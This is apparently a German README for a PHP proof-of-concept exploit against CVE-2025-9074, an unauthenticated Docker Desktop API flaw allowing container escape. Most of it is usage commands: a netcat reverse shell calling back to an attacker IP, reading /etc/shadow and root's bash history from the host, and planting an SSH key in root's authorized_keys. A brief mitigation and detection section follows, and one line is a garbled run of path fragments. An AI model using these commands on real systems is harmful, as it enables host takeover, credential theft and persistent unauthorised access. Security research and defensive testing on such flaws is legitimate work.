
PHP poc, exploit for CVE-2025-9074
Schweregrad: KRITISCH | CVSS-Score: 9.8 (geschätzt) | Betroffene Versionen: Docker Desktop < 4.44.3
Ein Proof-of-Concept-Exploit für CVE-2025-9074, eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle in der Docker Engine API, die privilegierte Container-Escapes und die Kompromittierung des Hostsystems ermöglicht.
CVE-2025-9074 ist eine kritische Schwachstelle in Docker Desktop, die die Docker Engine API ohne ordnungsgemäße Authentifizierung oder Netzwerkisolierung freigibt. Dies ermöglicht entfernten Angreifern:
Die Schwachstelle betrifft:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Führen Sie einen einzelnen Befehl auf dem Docker-Host aus:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
Stellen Sie eine interaktive Reverse-Shell her:
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
Führen Sie einzelne Befehle auf dem Ziel aus:
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
Erzeugen Sie eine interaktive Shell mit Rückruf:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Host-System aufzählen
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Sensible Dateien extrahieren
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# SSH-Schlüssel hinzufügen
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Laufende Container und Netzwerke aufzählen
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 ohne Authentifizierung/containers/create:/mnt/hostfs:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs-Pfade┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
Aktualisieren Sie Docker Desktop
# Update to version 4.44.3 or later
Netzwerkisolierung
TLS-Authentifizierung aktivieren
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
Netzwerksegmentierung
/var/run/docker.sock) nur für lokalen Zugriff# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt.
Beiträge sind willkommen! Bitte zögern Sie nicht, Issues oder Pull-Requests einzureichen.
Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe die LICENSE-Datei für Details.
Sicherheitsforscher | Penetrationstester
Zuletzt aktualisiert: Mai 2025 | Status: Aktive Forschung
| Option | Kurz | Erforderlich | Beschreibung |
|---|
--url | -u | ✅ Ja | Docker API URL (z.B. http://1.2.3.4:2375) |
--mode | -m | ❌ Nein | Ausführungsmodus: cmd oder reverse (Standard: cmd) |
--cmd | -c | ⚠️ Für cmd-Modus | Befehl, der auf dem Ziel ausgeführt werden soll |
--lhost | -l | ⚠️ Für reverse-Modus | Ihre IP-Adresse für den Rückruf |
--lport | -p | ❌ Nein | Ihr Lauschport (Standard: 4444) |
--os | — | ❌ Nein | Ziel-Betriebssystem: linux, mac, windows (Standard: linux) |
--cleanup | — | ❌ Nein | Container nach der Ausführung entfernen |
--help | -h | ❌ Nein | Hilfemeldung anzeigen |